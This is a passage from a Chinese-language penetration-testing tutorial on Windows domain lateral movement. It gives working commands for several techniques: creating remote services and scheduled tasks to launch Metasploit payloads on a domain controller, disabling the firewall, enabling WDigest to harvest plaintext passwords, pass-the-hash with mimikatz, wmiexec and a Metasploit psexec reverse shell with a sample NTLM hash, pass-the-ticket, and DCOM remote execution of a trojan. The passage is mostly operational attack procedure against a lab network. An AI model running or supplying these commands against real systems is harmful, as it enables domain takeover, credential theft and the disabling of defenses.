1906 | 除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取:
1907 |
1908 | ```
1909 | schtasks /create /s 192.168.1.33 /tn test /sc minute /mo 1 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\Users\Administrator\result.txt'" /ru system /f
1910 | ```
1911 |
1912 | 
1913 |
1914 | ```
1915 | schtasks /run /s 192.168.183.130 /i /tn test
1916 | ```
1917 |
1918 | 
1919 |
1920 | 最后利用type命令远程查看目标主机上的result.txt文件即可,如下图所示,命令执行成功:
1921 |
1922 | 
1923 |
1924 | #### 10.2.4、sc命令
1925 |
1926 | 在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
1927 |
1928 | 使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。流程基本如下:
1929 |
1930 | 1. 先让跳板机与内网目标机DC建立ipc连接。
1931 |
1932 | 2. 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。
1933 |
1934 | 
1935 |
1936 | 3. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
1937 |
1938 | ```
1939 | sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
1940 |
1941 | sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
1942 | ```
1943 |
1944 | 注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
1945 |
1946 | 4. 立即启动该服务:
1947 |
1948 | ```
1949 | sc \\WIN-ENS2VR5TR3N start bindshell
1950 | ```
1951 |
1952 | 
1953 |
1954 | 执行后,msf成功上线域控:
1955 |
1956 | 
1957 |
1958 | 5. 使用完后删除刚才创建的服务
1959 |
1960 | ```
1961 | sc \\[host] delete [servicename] #删除服务
1962 | ```
1963 |
1964 | 我们还可以通过设置服务来关闭防火墙:
1965 |
1966 | ```
1967 | sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
1968 |
1969 | sc \\WIN-ENS2VR5TR3N start unablefirewall
1970 | ```
1971 |
1972 | #### 10.2.5、删除ipc连接
1973 |
1974 | 当我们使用完ipc$连接后,我们需要删除ipc$:
1975 |
1976 | ```html
1977 | net use 名称 /del /y
1978 | ```
1979 |
1980 | ### 10.3、哈希传递攻击(Pass The Hash)
1981 |
1982 | #### 10.3.1、概念
1983 |
1984 | 大多数渗透测试人员都听过哈希传递(Pass The Hash)攻击。该方法通过找到与账号相关的密码散列值(通常是 NTLM Hash)来进行攻击。在**域环境**中,用户登录计算机使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账户和密码,如果计算机的本地管理员账户和密码也是相同的,攻击者就可以通过哈希攻击的方法登录内网中的其他计算机。**在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码**,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
1985 |
1986 | ```html
1987 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
1988 | ```
1989 |
1990 | 因此攻击者往往会使用攻击将散列值传递到其他计算机中进行权限验证,实现对远程计算机的控制。
1991 |
1992 | 早期版本的Windows操作系统使用LM Hash对用户密码进行验证,但是当密码大于等于15位时,就无法使用LM Hash,从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份验证时,不会使用明文口令,而是将明文口令通过系统API转为散列值。
1993 |
1994 | #### 10.3.2、使用情况
1995 |
1996 | ##### 10.3.2.1、工作组环境
1997 |
1998 | - Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
1999 | - KB2871997是微软用来解决PsExec或者IPC连接远程查看问题的补丁,能使本地账号不再被允许远程接入计算机系统,所以在Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击。由于SID为500的账号是一种"完全控制令牌"的权限账号,因此将Administrator改名,该账号的SID仍为500,攻击者仍然可以使用横向方法获取内网其他机子的控制权,而其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
2000 |
2001 | ##### 10.3.2.2、域环境
2002 |
2003 | - 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
2004 |
2005 | #### 10.3.3、使用NTLM Hash进行哈希传递
2006 |
2007 | ##### 10.3.3.1、使用mimikatz进行哈希传递
2008 |
2009 | ###### 10.3.3.1.1、域环境
2010 |
2011 | 这种方法需要有本地管理员权限,命令如下:
2012 |
2013 | ```html
2014 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:[域控] /ntlm:[hash]"
2015 | ```
2016 |
2017 | 
2018 |
2019 | 运行完会弹出一个新的窗口,通过该窗口我们可以获取域内其他机子下的目录情况:
2020 |
2021 | 
2022 |
2023 | 此时,为了让域控制器 DC 上线 Metasploit,我们只需做以下工作:
2024 |
2025 | 生成一个 msf 木马 shell.exe,将 shell.exe 上传到 Windows 7 主机,然后直接使用 copy 命令将 shell.exe 复制到域控上:
2026 |
2027 | ```html
2028 | copy shell.exe \\DC.whoamianony.org\c$ // 将 shell.exe 复制到域控主机上
2029 | sc \\DC.whoamianony.org create backdoor binpath= "c:\shell.exe"// 在域控上创建服务启动木马
2030 | sc \\DC.whoamianony.org start backdoor // 在域控上立即启动该服务
2031 | sc \\DC.whoamianony.org delete backdoor // 上线后在域控上立即删除该服务
2032 | ```
2033 |
2034 | 
2035 |
2036 | 此时虽然显示 1053 错误,但是如下图所示,域控制器成功上线,并且还是 SYSTEM 权限:
2037 |
2038 | 
2039 |
2040 | 也能通过PsExec.exe获取其他域机子上的shell,在弹出的cmd窗口运行psexec.exe:
2041 |
2042 | 
2043 |
2044 | 这种方法的前提是你必须获取域内任意一台机子的管理员权限和域管理员的密码NTLM哈希值。
2045 |
2046 | ###### 10.3.3.1.2、工作组环境
2047 |
2048 | ```html
2049 | privilege::debug #提升权限
2050 | sekurlsa::logonPasswords #获取NTLM哈希值
2051 | sekurlsa::pth/user:用户名 /domain:目标机器IP /ntlm:密码哈希 #使用administrator用户的NTLM哈希值进行攻击
2052 | ```
2053 |
2054 | ##### 10.3.3.2、利用wmiexec进行哈希传递
2055 |
2056 | 项目地址:https://github.com/SecureAuthCorp/impacket
2057 |
2058 | 进入 examples 目录即可找到我们的 wmiexec.py,然后执行以下命令即可:
2059 |
2060 | ```html
2061 | python wmiexec.py -hashes :ab89b1295e69d353dd7614c7a3a80cec root0er.local/administrator@192.168.93.129 "whoami"
2062 | # (proxychains4) python wmiexec.py -hashes :NTLM 域名/用户名@IP "命令"
2063 | ```
2064 |
2065 | ##### 10.3.3.3、利用Metasploit进行哈希传递
2066 |
2067 | 经常使用的三个模块:
2068 |
2069 | ```html
2070 | auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
2071 | exploit/windows/smb/psexec // 用psexec执行系统命令
2072 | exploit/windows/smb/psexec_psh // 使用powershell作为payload
2073 | ```
2074 |
2075 | 这三个模块的使用方法相同,这里以 exploit/windows/smb/psexec 模块哈希传递攻击域控制器 DC 为例:
2076 |
2077 | 
2078 |
2079 | 需要设置以下选项:
2080 |
2081 | ```html
2082 | use exploit/windows/smb/psexec
2083 | set rhosts 192.168.93.30
2084 | set smbuser administrator
2085 | set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec # 完整的Administrator用户的Hash
2086 | set smbdomain whoamianony
2087 | set payload windows/x64/meterpreter/reverse_tcp
2088 | set lhost 192.168.93.129
2089 | set lport 4444
2090 | exploit
2091 | ```
2092 |
2093 | 注意这里的 smbpass 选项,其可以为明文密码,也可以为密码哈希,但是哈希值必须是完整的,如果不知道前面的 LM Hash 部分,可以像上面那样用 0 代替。
2094 |
2095 | 如下图所示,攻击成功,域控成功上线,并且是 SYSTEM 权限:
2096 |
2097 | 
2098 |
2099 | ##### 10.3.3.4、利用CobaltStrike进行哈希传递
2100 |
2101 | 使用CS里的mimikatz先dump下密码和hash。
2102 |
2103 | 
2104 |
2105 | 在凭证中可以看到。
2106 |
2107 | 
2108 |
2109 | 对内网进行探测后,选择一台主机,进行PTH,此时需要选择一个smb协议的Listener。
2110 |
2111 | 
2112 |
2113 | 回连成功。
2114 |
2115 | 
2116 |
2117 | ##### 10.3.3.5、利用哈希传递登录远程桌面
2118 |
2119 | 参考第9章中的第5节
2120 |
2121 | ### 10.4、票据传递攻击
2122 |
2123 | 要想使用mimikatz的哈希传递功能,必须具有本地管理员权限,mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递(Pass The Ticket,PTT)。
2124 |
2125 | #### 10.4.1、使用mimikatz进行票据传递
2126 |
2127 | 使用mimikatz,可以将内存中的票据导出。在mimikatz中输入以下命令:
2128 |
2129 | ```html
2130 | privilege::debug
2131 | sekurlsa::tickets /export
2132 | ```
2133 |
2134 | 执行完以上命令后,会在当前目录出现多个服务的票据文件,使用mimikatz清除内存中的票据:
2135 |
2136 | ```html
2137 | kerberos::purge
2138 | ```
2139 |
2140 | 将Administrator@krbtgt的这个票据文件复制到远程目标机器上,将票据文件注入内存。
2141 |
2142 | 
2143 |
2144 | ```html
2145 | kerberos::ptt "[0;52372]-2-0-40e10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi"
2146 | ```
2147 |
2148 | 
2149 |
2150 | 将高权限的票据文件注入内存后,重新打开一个CMD窗口即可列举远程目标的目录文件:
2151 |
2152 | 
2153 |
2154 | #### 10.4.2、使用kekeo进行票据传递
2155 |
2156 | 票据传递也可以使用`gentilkiwi`开源的另一款工具`kekeo`实现。kekeo需要使用域名、用户名、NTLM Hash三者配合生成票据,再将票据导入,从而直接连接远程计算机。并且kekeo不需要本地管理员权限即可完成横向移动渗透。
2157 |
2158 | 项目地址:
2159 |
2160 | ```html
2161 | https://github.com/gentilkiwi/kekeo
2162 | ```
2163 |
2164 | 运行kekeo后输入以下命令:
2165 |
2166 | ```htlm
2167 | tgt::ask /user:administrator /domain:root0er.local /ntlm:ccef208c6485269c20db2cad21734fe7 #生成票据文件
2168 | kerberos::purge #清除内存中的票据
2169 | kerberos::ptt "[0;52372]-2-0-40e10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi" #将票据文件导入内存中
2170 | ```
2171 |
2172 | 使用命令dir \\dc\c$查看远程主机的文件
2173 |
2174 | 
2175 |
2176 | #### 10.4.3、票据传递攻击注意事项
2177 |
2178 | - 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
2179 | - 票据文件注入内存的默认有效时间为10小时
2180 | - 在目标机器上不需要本地管理员权限即可进行票据传递
2181 |
2182 | ### 10.5、PsExec的使用
2183 |
2184 | PsExec可以在Window vista/NT 4.0/2000/XP/server 2003/server 2008/server 2012/server 2016上运行。
2185 |
2186 | **psexec的使用前提:**
2187 |
2188 | - 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
2189 | - 对方未开启防火墙
2190 | - 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
2191 | - 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
2192 |
2193 | 在建立IPC连接的情况下,执行如下命令,获取system权限的shell:
2194 |
2195 | ```html
2196 | psexec.exe -accepteula \\192.168.100.190 -s cmd.exe
2197 | ```
2198 |
2199 | 如果没有建立IPC,psexec有两个参数可以通过指定账号和密码进行远程连接:
2200 |
2201 | ```html
2202 | psexec.exe \\192.168.100.190 -u administrator -p 123456 cmd.exe
2203 | ```
2204 |
2205 | 执行如下命令,在远程计算机上回显:
2206 |
2207 | ```html
2208 | psexec.exe \\192.168.100.190 -u administrator -p 123456 cmd.exe /c "ipconfig"
2209 | ```
2210 |
2211 | ### 10.6、WMI的使用
2212 |
2213 | 常用命令
2214 |
2215 | ```
2216 | wmic useraccount WHERE "Name='%username%'" set PasswordExpires=false //设置用户永不超期 wmic startup list brief //wmic获取自启信息
2217 | wmic volume list brief //wmic获取磁盘分区信息
2218 | wmic useraccount list full //wmic获取用户信息
2219 | wmic service list full //wmic获取服务信息
2220 | wmic SERVICE where name="dhcp" call stopservice //wmic关闭服务
2221 | wmic DESKTOPMONITOR get ScreenHeight,ScreenWidth //wmic获取屏幕分辨率
2222 | wmic process where processid="3652" delete //wmic关闭进程
2223 | wmic process 2345 call terminate //wmic关闭进程
2224 | wmic process where name="qq.exe" call terminate //wmic关闭进程
2225 | wmic qfe get Caption,Description,HotFixID,InstalledOn //wmic获取补丁安装时间
2226 | wmic process where name="ConsoleApplication.exe" get ExecutablePath //查看进程的位置 wmic.exe /node:ip /user:localhost\administrator /password:"password" PROCESS call create "cmd.exe /c whoami > ip.txt"
2227 | type \\192.168.52.129\c$\ip.txt //远程命令执行
2228 | wmic qfe get hotfixid //查看补丁情况
2229 | ```
2230 |
2231 | #### 10.6.1、列出远程主机进程
2232 |
2233 | ```html
2234 | wmic /node:192.168.52.129 /user:administrator /password:Password!! process list brief
2235 | ```
2236 |
2237 | 
2238 |
2239 | #### 10.6.2、远程创建进程
2240 |
2241 | 可以看到在目标机器192.168.52.129成功执行了系统命令并输出到"tubai.txt",在目标指定目录可以发现文件。
2242 |
2243 | ```html
2244 | wmic /node:192.168.52.129 /user:administrator /password:Password!! process call create "cmd.exe /c ipconfig > c:\tubai.txt"
2245 | ```
2246 |
2247 | 
2248 |
2249 | 
2250 |
2251 | #### 10.6.3、WMIEXEC工具
2252 |
2253 | **wmiexec.vbs**
2254 |
2255 | ```html
2256 | cscript wmiexec.vbs /shell 192.168.52.129 administrator Password!!
2257 | ```
2258 |
2259 | 
2260 |
2261 | **impacket套件**
2262 |
2263 | 项目地址:
2264 |
2265 | ```html
2266 | https://github.com/maaaaz/impacket-examples-windows
2267 | ```
2268 |
2269 | ```html
2270 | wmiexec.exe administrator:Password!!@192.168.52.129
2271 | ```
2272 |
2273 | 
2274 |
2275 | 哈希传递
2276 |
2277 | ```html
2278 | wmiexec.exe -hashes LM哈希:NTLM哈希 域名/用户名@目标IP
2279 | ```
2280 |
2281 | ### 10.7、利用DCOM在远程机器中执行命令
2282 |
2283 | 在使用该方法的条件如下:
2284 |
2285 | - 需要关闭目标系统的防火墙,如果目标主机DC没有关闭防火想的话会报错
2286 | - 在远程主机上执行命令时,必须使用具有本地管理员权限的账号。
2287 |
2288 | **1. 先让跳板机通过ipc连接远程DC计算机**
2289 |
2290 | ```
2291 | net use \\\192.168.52.138\ipc$ "Liufupeng123" /user:Liukaifeng01
2292 | ```
2293 |
2294 | **2. 然后在跳板机上传木马程序shell.exe,并使用copy命令将shell.exe复制到DC的c盘上面去。**
2295 |
2296 | 
2297 |
2298 | **3. 然后对DC执行远程命令**
2299 |
2300 | (1)调用MMC20.Application远程执行命令
2301 |
2302 | ```
2303 | $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138"))
2304 | // 通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。
2305 | // 然后执行如下命令,我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程
2306 | $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")
2307 | ```
2308 |
2309 | 
2310 |
2311 | (2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
2312 |
2313 | ```
2314 | $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")
2315 | $obj = [System.Activator]::CreateInstance($com)
2316 | $item = $obj.item()
2317 | $item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)
2318 | ```
2319 |
2320 | 这两种方法远程执行命令的方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016。
2321 |
--------------------------------------------------------------------------------